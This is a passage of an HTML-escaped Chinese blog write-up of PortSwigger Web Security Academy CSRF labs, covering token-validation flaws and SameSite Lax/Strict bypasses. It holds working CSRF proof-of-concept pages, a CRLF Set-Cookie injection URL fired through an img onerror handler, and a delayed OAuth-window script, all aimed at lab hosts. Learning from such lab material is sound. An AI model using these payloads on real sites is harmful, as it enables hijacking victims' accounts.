&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-xml&#34; data-lang=&#34;xml&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nt&#34;&gt;&amp;lt;html&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;c&#34;&gt;&amp;lt;!-- CSRF PoC - generated by Burp Suite Professional --&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;nt&#34;&gt;&amp;lt;body&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nt&#34;&gt;&amp;lt;form&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;action=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;https://0adb00ec04977937805ab22d00ce00dd.web-security-academy.net/my-account/change-email&amp;#34;&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;method=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;nt&#34;&gt;&amp;lt;input&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;type=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;hidden&amp;#34;&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;name=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;email&amp;#34;&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;value=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;111&amp;amp;#64;qq&amp;amp;#46;com&amp;#34;&lt;/span&gt; &lt;span class=&#34;nt&#34;&gt;/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;nt&#34;&gt;&amp;lt;input&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;type=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;submit&amp;#34;&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;value=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;Submit request&amp;#34;&lt;/span&gt; &lt;span class=&#34;nt&#34;&gt;/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nt&#34;&gt;&amp;lt;/form&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nt&#34;&gt;&amp;lt;script&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;      history.pushState(&amp;#39;&amp;#39;, &amp;#39;&amp;#39;, &amp;#39;/&amp;#39;);
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;      document.forms[0].submit();
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nt&#34;&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;nt&#34;&gt;&amp;lt;/body&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nt&#34;&gt;&amp;lt;/html&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id=&#34;绕过-csrf-令牌&#34;&gt;绕过 CSRF 令牌
&lt;/h3&gt;&lt;h4 id=&#34;漏查-get&#34;&gt;漏查 GET
&lt;/h4&gt;&lt;p&gt;1.攻击点：抓更新邮箱的包，发现包含 CSRF 令牌，更改令牌后，请求被拒绝。但是更改请求方式为 Get 以后，又被接受了。&lt;/p&gt;
&lt;p&gt;2.攻击：同上，差异在于 &lt;code&gt;&amp;lt;form&amp;gt;&lt;/code&gt; 标签里的 method，这里没指定的话就是默认 get&lt;/p&gt;
&lt;h4 id=&#34;漏查无令牌情况&#34;&gt;漏查无令牌情况
&lt;/h4&gt;&lt;p&gt;1.攻击点同上&lt;/p&gt;
&lt;p&gt;2.攻击：字面意思，就是忘记检查不带 csrf 令牌的情况了，直接删掉就行。&lt;/p&gt;
&lt;h4 id=&#34;漏查令牌所有者&#34;&gt;漏查令牌所有者
&lt;/h4&gt;&lt;p&gt;1.攻击点同上&lt;/p&gt;
&lt;p&gt;2.攻击：字面意思，有一个有效令牌就行了，不管是谁的。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;[!NOTE]&lt;/p&gt;
&lt;p&gt;csrf 令牌只能使用一次！所以得用新的来生成注入代码&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h4 id=&#34;令牌只与-cookie-绑定&#34;&gt;令牌只与 Cookie 绑定
&lt;/h4&gt;&lt;p&gt;1.攻击点：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;3
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;4
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;5
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;6
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;7
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;POST /my-account/change-email HTTP/2
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;Host: 0a3400ce0428f9d280a203d800fc0048.web-security-academy.net
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;Cookie: csrfKey=ggJi08btS3rz50WL91sxEL0mMopaNN4z; session=gi9Vh11li133YzoXHVZmM0ON8aIzGsWR
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;......
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;Priority: u=0, i
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;email=111%40qq.com&amp;amp;csrf=7LS37jBoGngLRkbjg8qCmj6TlrhUO05Z
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;发现既有 csrf 又有 csrfKey&lt;/p&gt;
&lt;p&gt;2.测试：首先需要验证（两个账号测试），csrf 令牌只与 csrfKey 绑定（而非用户 session），这就给了攻击的可能。我们要做的就是更改用户的 Cookie 以及更改用户的令牌。&lt;/p&gt;
&lt;p&gt;3.攻击：替换 Cookie 需要用到 script，&lt;code&gt;/?search=test%0d%0aSet-Cookie:%20csrfKey=YOUR-KEY%3b%20SameSite=None&lt;/code&gt;，要让受害者访问这个链接，然后配合自己的令牌发包。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;即如下代码对/r/n url 编码了&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-plaintext&#34; data-lang=&#34;plaintext&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;/?search=test
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;Set-Cookie: csrfKey=YOUR-KEY; SameSite=None
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;/blockquote&gt;
&lt;p&gt;4.payload：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt; 1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 3
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 4
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 5
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 6
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 7
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 8
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 9
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;10
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;11
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-xml&#34; data-lang=&#34;xml&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nt&#34;&gt;&amp;lt;html&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;c&#34;&gt;&amp;lt;!-- CSRF PoC - generated by Burp Suite Professional --&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;nt&#34;&gt;&amp;lt;body&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nt&#34;&gt;&amp;lt;form&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;action=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;https://0a5600ef0353c473804a2671006200c0.web-security-academy.net/my-account/change-email&amp;#34;&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;method=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;nt&#34;&gt;&amp;lt;input&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;type=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;hidden&amp;#34;&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;name=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;email&amp;#34;&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;value=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;11111&amp;amp;#64;qq&amp;amp;#46;com&amp;#34;&lt;/span&gt; &lt;span class=&#34;nt&#34;&gt;/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;nt&#34;&gt;&amp;lt;input&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;type=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;hidden&amp;#34;&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;name=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;csrf&amp;#34;&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;value=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;9TNd8PU7ffxDiebZmAYuVMVsa7eaJAGt&amp;#34;&lt;/span&gt; &lt;span class=&#34;nt&#34;&gt;/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;nt&#34;&gt;&amp;lt;input&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;type=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;submit&amp;#34;&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;value=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;Submit request&amp;#34;&lt;/span&gt; &lt;span class=&#34;nt&#34;&gt;/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nt&#34;&gt;&amp;lt;/form&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nt&#34;&gt;&amp;lt;img&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;src=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;https://0a5600ef0353c473804a2671006200c0.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrfKey=sPnN91GwgoWYmf7aLfqYoBRNSXZPuDTn%3b%20SameSite=None&amp;#34;&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;onerror=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;document.forms[0].submit()&amp;#34;&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;nt&#34;&gt;&amp;lt;/body&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nt&#34;&gt;&amp;lt;/html&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;将原本的 script 改成了 img 标签，直接触发&lt;/p&gt;
&lt;blockquote&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;src&lt;/code&gt;的本质是发起 HTTP 请求&lt;/strong&gt;：当受害者的浏览器加载这个&lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt;标签时，会自动向&lt;code&gt;src&lt;/code&gt;中的 URL 发送 GET 请求 —— 这个 URL 就是实验中存在&lt;strong&gt;响应头注入漏洞&lt;/strong&gt;的搜索功能。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;URL 中的&lt;code&gt;%0d%0a&lt;/code&gt;实现响应头注入&lt;/strong&gt;：搜索功能会把&lt;code&gt;search&lt;/code&gt;参数的内容反射到响应头中，而&lt;code&gt;%0d%0a&lt;/code&gt;是 HTTP 的回车 + 换行符，会让服务器的响应头被 “拆分”，插入攻击者自定义的&lt;code&gt;Set-Cookie&lt;/code&gt;头。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;onerror&lt;/code&gt;的触发条件&lt;/strong&gt;：&lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt;标签的&lt;code&gt;src&lt;/code&gt;指向的是一个搜索请求的 URL，而非真正的图片资源，服务器返回的响应不是图片格式，因此&lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt;会加载失败，触发&lt;code&gt;onerror&lt;/code&gt;事件,能确保&lt;strong&gt;Cookie 已经注入完成&lt;/strong&gt;，再提交表单。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;document.forms[0].submit()&lt;/code&gt;的作用&lt;/strong&gt;：触发页面中第一个表单的自动提交 —— 这个表单就是攻击者构造的 “修改邮箱” 的 CSRF 表单（包含攻击者自己的 CSRF 令牌）。&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;h4 id=&#34;令牌在-cookie-复用&#34;&gt;令牌在 Cookie 复用
&lt;/h4&gt;&lt;p&gt;1.攻击点同上，这里发现了 Cookie 中也出现了 csrf，考虑可能后端只检验了两个 csrf 是否相同&lt;/p&gt;
&lt;p&gt;2.攻击：和上一题一样，只需将 Cookie 中的 csrf 改为与表单中提交的 csrf 一样即可。&lt;/p&gt;
&lt;h3 id=&#34;绕过-samesite&#34;&gt;绕过 Samesite
&lt;/h3&gt;&lt;h4 id=&#34;lax-1&#34;&gt;Lax
&lt;/h4&gt;&lt;h5 id=&#34;get--_method-绕过&#34;&gt;Get + _method 绕过
&lt;/h5&gt;&lt;p&gt;1.攻击点：抓更改邮箱的包，发现并没有明显的限制，无 csrf，也无 samesite 限制，那么就是默认的 Lax 限制，考虑用 Get 绕过&lt;/p&gt;
&lt;p&gt;2.测试：直接用 Get 发包，提示只能用 post 方法，于是考虑用 &lt;code&gt;_method=post&lt;/code&gt; 来欺骗服务器，将 Get 方法识别为 post&lt;/p&gt;
&lt;p&gt;&lt;code&gt;GET /my-account/change-email?email=foo%40web-security-academy.net&amp;amp;_method=POST HTTP/1.1&lt;/code&gt; 成功绕过 post 检测&lt;/p&gt;
&lt;p&gt;3.payload:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;3
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;4
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;5
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;6
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;7
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;8
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-xml&#34; data-lang=&#34;xml&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nt&#34;&gt;&amp;lt;html&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;c&#34;&gt;&amp;lt;!-- CSRF PoC - generated by Burp Suite Professional --&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;nt&#34;&gt;&amp;lt;body&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nt&#34;&gt;&amp;lt;script&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;      document.location = &amp;#34;https://0af90060032691628069032c00d40060.web-security-academy.net/my-account/change-email?email=pwned@web-security-academy.net&lt;span class=&#34;ni&#34;&gt;&amp;amp;_method=POST&amp;#34;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nt&#34;&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;nt&#34;&gt;&amp;lt;/body&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nt&#34;&gt;&amp;lt;/html&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h5 id=&#34;利用新颁发-cookie-绕过-oauth&#34;&gt;利用新颁发 Cookie 绕过 Oauth
&lt;/h5&gt;&lt;p&gt;1.攻击点：抓更改邮箱的包，发现没有明显限制。登录过程中，发现需要重定向到 Oauth，并且没有显式指定 Samesite，而且登录时会重新 set 一个 Cookie，所以可以考虑用重定向 + Oauth窗口期来绕过。&lt;/p&gt;
&lt;p&gt;2.测试：如果访问更改邮箱地址的时间与登录时间相隔超过 120s，就会更改成功，否则就会重定向到登录界面。所以思路就是，让用户先重定向到登录从而得到新 Cookie 并且外带，然后再提交更改邮箱的请求。&lt;/p&gt;
&lt;p&gt;3.攻击：利用函数搭配延迟触发&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt; 1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 3
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 4
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 5
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 6
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 7
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 8
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 9
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;10
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;11
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;12
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;13
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-xml&#34; data-lang=&#34;xml&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nt&#34;&gt;&amp;lt;form&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;method=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;action=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;https://0a19004c04cb844080140371008500dc.web-security-academy.net/my-account/change-email&amp;#34;&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nt&#34;&gt;&amp;lt;input&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;type=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;hidden&amp;#34;&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;name=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;email&amp;#34;&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;value=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;pwned@web-security-academy.net&amp;#34;&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nt&#34;&gt;&amp;lt;/form&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nt&#34;&gt;&amp;lt;script&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;   window.onclick = () =&amp;gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        window.open(&amp;#39;https://0a19004c04cb844080140371008500dc.web-security-academy.net/social-login&amp;#39;);
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        setTimeout(changeEmail, 5000);
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    function changeEmail(){
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        document.forms[0].submit();
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nt&#34;&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h4 id=&#34;strict-1&#34;&gt;Strict
&lt;/h4&gt;&lt;h5 id=&#34;重定向绕过&#34;&gt;重定向绕过
&lt;/h5&gt;&lt;p&gt;1.攻击点：抓更新邮箱的包，没有特殊限制，抓登录的包，发现 &lt;code&gt;Samesite = Strict&lt;/code&gt;，故需要考虑绕过。&lt;/p&gt;
&lt;p&gt;2.测试：在主页的发送 post 中，发现在发送评论后，会跳转到确认页面，然后重定向到原来的 post，要怎么利用呢？如果我从确认页跳转到更改邮箱的页面，就可以携带用户的 Cookie 了！&lt;/p&gt;
&lt;p&gt;3.攻击：需要搭配路径穿越，重定向到指定网站。如下构造：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;3
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;4
